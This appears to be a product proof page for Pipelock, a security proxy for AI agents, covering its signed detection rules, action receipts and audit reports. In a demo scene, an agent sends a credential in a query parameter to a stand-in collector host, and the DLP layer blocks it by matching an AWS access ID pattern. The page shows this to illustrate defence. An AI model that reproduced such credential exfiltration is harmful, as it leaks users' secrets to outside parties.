Proof · v3.6.0 · Aug 8, 2026
Detection claims need receipts. Three components turn claims into evidence.
Every Pipelock detection claim is backed by an open corpus you can re-run, signed rules you can verify, and Ed25519-signed reports your auditor can keep. No marketing assertions. No closed-source vendor box. Run it yourself.

Recorded decisions
Watch a secret get stopped
Real requests agents made, replayed. Each scene runs twice: first with nothing in the path, then through Pipelock. Recorded with Pipelock v3.3.0, Aug 5, 2026. Signed, so you can check every one.
Blocked: secret exfiltration over a URL1 / 6
Scene: Blocked: secret exfiltration over a URL.
Without Pipelock: A bare agent puts a credential in a query parameter and the value escapes to the collector.
With Pipelock: Pipelock's DLP layer detects the credential shape in the URL before any DNS resolution and blocks the request. The signed receipt records the block; the value never leaves.
The decision was block at layer core_dlp, matched pattern core DLP match: AWS Access ID (critical), recorded in the signed receipt below.
01
The escape
A bare agent puts a credential in a query parameter and the value escapes to the collector.
02
The block
Pipelock's DLP layer detects the credential shape in the URL before any DNS resolution and blocks the request. The signed receipt records the block; the value never leaves.
https://collector.example.com/collect?token=[redacted-value]
03
The receipt
The decision is signed by the mediator. The shipped verifier checks the signature offline; a receipt that was altered after signing fails the check.
Not everything is blocked: the same recording shows a safe read to a read-only lab documentation endpoint passing, and that allow decision is signed too.

- Ed25519-signed bundles are tamper-evident. Demo bundles verify against the Pipelock demo key; customer bundles verify against the deployment's pinned key.
- Offline by design. No phone home, no telemetry, no third-party verification service.

Cryptographic anchors
What is signed
Three surfaces, three trust anchors: official rules key, Pipelock demo/report key, and customer deployment key.
01
Rules bundles
Each YAML bundle is signed at publish time. pipelock rules verify checks the signature against your trusted keyring before load. A tampered bundle fails to load and the proxy keeps the previous state.
official rules key · 70b991eb…79f6c63e
02
Action receipts
Every block decision can emit a signed action receipt. The receipt is short-form (verdict, layer, classes detected, redaction class counts), and the signature is verifiable against the deployment's pinned public key. Public Pipelock demo receipts use the Pipelock demo key.
pipelock demo key · 91dfb238…12eb755a
03
Assess reports
pipelock assess writes a hash-chained bundle with Ed25519 signatures over each section. Auditors verify with pipelock assess verify using the trusted public key. No network call.
